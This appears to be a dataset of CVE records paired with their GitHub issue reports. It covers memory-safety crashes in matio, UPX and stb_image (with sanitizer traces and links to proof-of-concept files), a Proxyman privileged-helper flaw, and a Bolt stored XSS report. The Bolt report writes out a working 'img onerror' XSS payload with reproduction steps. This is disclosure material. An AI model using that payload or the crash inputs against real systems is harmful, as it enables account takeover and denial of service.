Rank: 0
InflateRankDims: inflate returned data error
131074 is not a valid rank
Rank: 0
421105169 is not valid (MAT_T_MATRIX or MAT_T_COMPRESSED)
=================================================================
==23803==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 80 byte(s) in 1 object(s) allocated from:
#0 0x7fbf2001f602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x7fbf1fd691df in Mat_VarCalloc /home/matio/matio_src/matio/src/mat.c:807
#2 0x7fbf1fc9d7bb in ReadNextCell /home/matio/matio_src/matio/src/mat5.c:925
#3 0x7fbf1fd5d494 in Mat_VarReadNextInfo5 /home/matio/matio_src/matio/src/mat5.c:4998
#4 0x7fbf1fd73a87 in Mat_VarReadNextInfo /home/matio/matio_src/matio/src/mat.c:2342
#5 0x408136 in main /home/matio/matio_src/matio/tools/matdump.c:944
#6 0x7fbf1f54e82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
Indirect leak of 32768 byte(s) in 1 object(s) allocated from:
#0 0x7fbf2001f602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x7fbf1ece87d1 in inflateCopy (/usr/local/lib/libz.so.1+0xd7d1)
Indirect leak of 7160 byte(s) in 1 object(s) allocated from:
#0 0x7fbf2001f602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x7fbf1ece87a1 in inflateCopy (/usr/local/lib/libz.so.1+0xd7a1)
Indirect leak of 112 byte(s) in 1 object(s) allocated from:
#0 0x7fbf2001f79a in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9879a)
#1 0x7fbf1fc9efd1 in ReadNextCell /home/matio/matio_src/matio/src/mat5.c:1065
#2 0x7fbf1fd5d494 in Mat_VarReadNextInfo5 /home/matio/matio_src/matio/src/mat5.c:4998
#3 0x7fbf1fd73a87 in Mat_VarReadNextInfo /home/matio/matio_src/matio/src/mat.c:2342
#4 0x408136 in main /home/matio/matio_src/matio/tools/matdump.c:944
#5 0x7fbf1f54e82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
Indirect leak of 40 byte(s) in 1 object(s) allocated from:
#0 0x7fbf2001f602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x7fbf1fd69505 in Mat_VarCalloc /home/matio/matio_src/matio/src/mat.c:823
#2 0x7fbf1fc9d7bb in ReadNextCell /home/matio/matio_src/matio/src/mat5.c:925
#3 0x7fbf1fd5d494 in Mat_VarReadNextInfo5 /home/matio/matio_src/matio/src/mat5.c:4998
#4 0x7fbf1fd73a87 in Mat_VarReadNextInfo /home/matio/matio_src/matio/src/mat.c:2342
#5 0x408136 in main /home/matio/matio_src/matio/tools/matdump.c:944
#6 0x7fbf1f54e82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
Indirect leak of 9 byte(s) in 1 object(s) allocated from:
#0 0x7fbf2001f602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x7fbf1fc9eb59 in ReadNextCell /home/matio/matio_src/matio/src/mat5.c:1046
#2 0x7fbf1fd5d494 in Mat_VarReadNextInfo5 /home/matio/matio_src/matio/src/mat5.c:4998
#3 0x7fbf1fd73a87 in Mat_VarReadNextInfo /home/matio/matio_src/matio/src/mat.c:2342
#4 0x408136 in main /home/matio/matio_src/matio/tools/matdump.c:944
#5 0x7fbf1f54e82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: 40169 byte(s) leaked in 6 allocation(s).
```
|
it is a memory leaks issue in Mat_VarCalloc (mat.c:807)
|
https://api.github.com/repos/tbeu/matio/issues/131/comments
| 9
|
2019-11-12T05:36:29Z
|
2021-11-27T17:38:54Z
|
https://github.com/tbeu/matio/issues/131
| 521,339,404
| 131
| 938
|
CVE-2019-20053
|
2019-12-27T22:15:11.923
|
An invalid memory address dereference was discovered in the canUnpack function in p_mach.cpp in UPX 3.95 via a crafted Mach-O file.
|
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"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
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"impactScore": 3.6,
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"type": "Primary"
}
],
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|
[
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-02/msg00003.html"
},
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"tags": [
"Mailing List",
"Third Party Advisory"
],
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},
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"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/upx/upx/issues/314"
},
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"tags": [
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},
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],
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}
] |
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[
"119"
] |
119
|
https://github.com/upx/upx/issues/314
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"upx",
"upx"
] |
A crafted input will lead to crash in p_mach.cpp at UPX 3.95(latest version,git clone from branch devel)
Triggered by
./upx.out -d -f POC
OS: Ubuntu 18.04.3 LTS
CPU architecture: x86_64
Poc
[001](https://github.com/gutiniao/afltest/blob/master/001)
The ASAN information is as follows:
```
./upx.out -d -f 001
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2019
UPX git-75a2cc Markus Oberhumer, Laszlo Molnar & John Reiser Feb 24th 2019
File size Ratio Format Name
-------------------- ------ ----------- -----------
ASAN:DEADLYSIGNAL
=================================================================
==24757==ERROR: AddressSanitizer: SEGV on unknown address 0x61a0008012c8 (pc 0x56305de52dbc bp 0x000000000001 sp 0x7ffe0a5d8240 T0)
==24757==The signal is caused by a READ memory access.
#0 0x56305de52dbb in get_le32(void const*) /home/liuz/upx-asan/upx_new/upx/src/bele.h:164
#1 0x56305de52dbb in LE32::operator unsigned int() const /home/liuz/upx-asan/upx_new/upx/src/bele.h:416
#2 0x56305de52dbb in PackMachBase<N_Mach::MachClass_64<N_BELE_CTP::LEPolicy> >::canUnpack() /home/liuz/upx-asan/upx_new/upx/src/p_mach.cpp:1539
#3 0x56305dec45a6 in try_unpack /home/liuz/upx-asan/upx_new/upx/src/packmast.cpp:114
#4 0x56305dec5ad5 in PackMaster::visitAllPackers(Packer* (*)(Packer*, void*), InputFile*, options_t const*, void*) /home/liuz/upx-asan/upx_new/upx/src/packmast.cpp:225
#5 0x56305dec72b0 in PackMaster::getUnpacker(InputFile*) /home/liuz/upx-asan/upx_new/upx/src/packmast.cpp:248
#6 0x56305dec73cf in PackMaster::unpack(OutputFile*) /home/liuz/upx-asan/upx_new/upx/src/packmast.cpp:266
#7 0x56305df034ee in do_one_file(char const*, char*) /home/liuz/upx-asan/upx_new/upx/src/work.cpp:160
#8 0x56305df0399f in do_files(int, int, char**) /home/liuz/upx-asan/upx_new/upx/src/work.cpp:271
#9 0x56305dd943e6 in main /home/liuz/upx-asan/upx_new/upx/src/main.cpp:1543
#10 0x7f4c28335b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x56305dd95549 in _start (/home/liuz/upx-asan/upx_new/upx/src/upx.out+0x5c549)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/liuz/upx-asan/upx_new/upx/src/bele.h:164 in get_le32(void const*)
==24757==ABORTING
```
|
Segmentation fault (ASAN: SEGV on unknown address) in the PackMachBase<N_Mach::MachClass_64<N_BELE_CTP::LEPolicy> >::canUnpack() function of p_mach.cpp:1539
|
https://api.github.com/repos/upx/upx/issues/314/comments
| 2
|
2019-11-14T01:57:00Z
|
2020-01-16T11:39:42Z
|
https://github.com/upx/upx/issues/314
| 522,576,017
| 314
| 939
|
CVE-2019-20056
|
2019-12-29T19:15:11.167
|
stb_image.h (aka the stb image loader) 2.23, as used in libsixel and other products, has an assertion failure in stbi__shiftsigned.
|
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"url": "https://github.com/saitoha/libsixel/issues/126"
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[
"617"
] |
617
|
https://github.com/saitoha/libsixel/issues/126
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"saitoha",
"libsixel"
] |
stbi__shiftsigned has assertion which can be triggered by user supplied image file.
poc:
[poc.zip](https://github.com/saitoha/libsixel/files/4008085/poc.zip)
result:
```
#0 __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1 0x00007ffff678c801 in __GI_abort () at abort.c:79
#2 0x00007ffff677c39a in __assert_fail_base (
fmt=0x7ffff69037d8 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n",
assertion=assertion@entry=0x5adc60 <.str.73> "v >= 0 && v < 256",
file=file@entry=0x5ac2a0 <.str.2> "./stb_image.h", line=line@entry=0x13bc,
function=function@entry=0x5adca0 <__PRETTY_FUNCTION__.stbi__shiftsigned> "int stbi__shiftsigned(int, int, int)") at assert.c:92
#3 0x00007ffff677c412 in __GI___assert_fail (assertion=0x5adc60 <.str.73> "v >= 0 && v < 256",
file=0x5ac2a0 <.str.2> "./stb_image.h", line=0x13bc,
function=0x5adca0 <__PRETTY_FUNCTION__.stbi__shiftsigned> "int stbi__shiftsigned(int, int, int)") at assert.c:101
#4 0x0000000000536b79 in stbi__shiftsigned (v=0xffffffa5, shift=0x18, bits=0xd)
at ./stb_image.h:5052
#5 0x00000000005030b4 in stbi__bmp_load (s=0x7fffffffcc80, x=0x607000000038, y=0x60700000003c,
comp=0x7fffffffcda0, req_comp=0x3, ri=0x7fffffffc940) at ./stb_image.h:5287
#6 0x00000000004ff7b3 in stbi__load_main (s=0x7fffffffcc80, x=0x607000000038, y=0x60700000003c,
comp=0x7fffffffcda0, req_comp=0x3, ri=0x7fffffffc940, bpc=0x8) at ./stb_image.h:988
#7 0x00000000004fa325 in stbi__load_and_postprocess_8bit (s=0x7fffffffcc80, x=0x607000000038,
y=0x60700000003c, comp=0x7fffffffcda0, req_comp=0x3) at ./stb_image.h:1092
#8 0x00000000004ff0b2 in load_with_builtin (pchunk=0x603000000010, fstatic=0x0, fuse_palette=0x1,
reqcolors=0x100, bgcolor=0x0, loop_control=0x0, fn_load=0x4d0b50 <load_image_callback>,
context=0x610000000040) at loader.c:912
#9 0x00000000004fddc3 in sixel_helper_load_image_file (filename=0x7fffffffe5da "poc", fstatic=0x0,
fuse_palette=0x1, reqcolors=0x100, bgcolor=0x0, loop_control=0x0,
fn_load=0x4d0b50 <load_image_callback>, finsecure=0x0, cancel_flag=0x108e980 <signaled>,
context=0x610000000040, allocator=0x604000000010) at loader.c:1392
#10 0x00000000004d0858 in sixel_encoder_encode (encoder=0x610000000040,
filename=0x7fffffffe5da "poc") at encoder.c:1737
#11 0x00000000004c66c9 in main (argc=0x2, argv=0x7fffffffe308) at img2sixel.c:457
#12 0x00007ffff676db97 in __libc_start_main (main=0x4c3320 <main>, argc=0x2, argv=0x7fffffffe308,
init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe2f8)
at ../csu/libc-start.c:310
#13 0x000000000041bd3a in _start ()
```
|
assertion failure in stbi__shiftsigned in stb_image.h
|
https://api.github.com/repos/saitoha/libsixel/issues/126/comments
| 2
|
2019-12-29T13:43:51Z
|
2020-01-03T01:32:36Z
|
https://github.com/saitoha/libsixel/issues/126
| 543,403,783
| 126
| 940
|
CVE-2019-20057
|
2019-12-29T19:15:11.637
|
com.proxyman.NSProxy.HelperTool in Privileged Helper Tool in Proxyman for macOS 1.11.0 and earlier allows an attacker to change the System Proxy and redirect all traffic to an attacker-controlled computer, enabling MITM attacks.
|
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"version": "3.1"
},
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"impactScore": 1.4,
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"type": "Primary"
}
],
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}
|
[
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/ProxymanApp/Proxyman/issues/364"
},
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"tags": [
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[
"345"
] |
345
|
https://github.com/ProxymanApp/Proxyman/issues/364
|
[
"Third Party Advisory"
] |
github.com
|
[
"ProxymanApp",
"Proxyman"
] |
## 🐶 Brief
There is a report from a dedicated user that Proxyman Helper Tool (PrivilegedHelperTools)could be exploited to change the System Proxy from unsigned apps.
Basically, it's the same issue with [Little Snitch CVE-2019-13013](https://blog.obdev.at/what-we-have-learned-from-a-vulnerability/) since Proxyman and Little Snitch use a same [EvenBetterAuthorizationSample](https://developer.apple.com/library/archive/samplecode/EvenBetterAuthorizationSample/Introduction/Intro.html) and we don't validate the codesign of incoming NSXPCConnection.
EvenBetterAuthorizationSample does good job to demonstrate how to install/uninstall the Help Tool and provide a mechanism to verify which app is authorized to do it. However, it doesn't validate the authenticity of the connections.
As a result, Any apps could exploited by sending the connection to Helper Tool, which has the same ExportProtocol.
We should fix it
## 👑 Criteria
- [x] Validate the codesign of connections before performing any System Change
- [x] Make sure one Helper Tool could verify and accept the Proxyman's Connection.
- [x] Use POC sample code to verify that the new Helper Tool will reject the unauthorized connections
|
Helper Tool: Security Vulnerability
|
https://api.github.com/repos/ProxymanApp/Proxyman/issues/364/comments
| 1
|
2019-12-29T04:38:45Z
|
2019-12-29T05:20:26Z
|
https://github.com/ProxymanApp/Proxyman/issues/364
| 543,316,658
| 364
| 941
|
CVE-2019-20058
|
2019-12-29T19:15:11.727
|
Bolt 3.7.0, if Symfony Web Profiler is used, allows XSS because unsanitized search?search= input is shown on the _profiler page. NOTE: this is disputed because profiling was never intended for use in production. This is related to CVE-2018-12040
|
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79
|
https://github.com/bolt/bolt/issues/7830
|
[
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github.com
|
[
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] |
**1. **Bug Summary:****
**Stored Cross-Site Scripting:**
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
**Scenario:**
When an end user is searching (http://hostname/search?search=term) for any results logs are being generated in admin panel (http://hostname/_profiler/).When an end-user inputs malicious payload such as
URL-Encoded: **%3Cimg%20src%3Dx%20onerror%3Djavascript%3Aconfirm%28113%29%3E**
Decoded: **<**img** src=x onerror=javascript:confirm(113)>**
Javascript is being executed on Database page of the admin panel (http://hostname/_profiler/token?panel=db) and unauthenticated attacker can use such malicious payloads to perform various exploits and phishing,Implement keylogger, CSRF Token Stealth,Session Aware Keylogger,etc.
**2. Steps to Reproduce:**
Navigate to http://host/
Click on Search
Input payload from above
To validate the finding login to admin console and navigate to http://hostname/_profiler and select the log with payload navigate to database (http://hostname/_profiler/token?panel=db)
Selecting Logs:
Navigating to Database:
Payload Executed:
**3. Mitigation:**
- Encode data on output. At the point where user-controllable data is output in HTTP responses, encode the output to prevent it from being interpreted as active content. Depending on the output context, this might require applying combinations of HTML, URL, JavaScript, and CSS encoding.
- Filter input on arrival. At the point where user input is received, filter as strictly as possible based on what is expected or valid input.
- Content Security Policy. As a last line of defense, you can use Content Security Policy (CSP) to reduce the severity of any XSS vulnerabilities that still occur.
References:
[https://portswigger.net/web-security/cross-site-scripting/](url)
[https://portswigger.net/web-security/cross-site-scripting/stored](url)
[https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)](url)
[https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](url)
[https://www.checkmarx.com/2017/10/09/3-ways-prevent-xss/](url)
|
Unauthenticated Stored Cross-Site Scripting (XSS) - Admin Account Takeover
|
https://api.github.com/repos/bolt/bolt/issues/7830/comments
| 5
|
2019-12-17T13:13:09Z
|
2020-02-24T06:29:29Z
|
https://github.com/bolt/bolt/issues/7830
| 539,057,977
| 7,830
| 942
|
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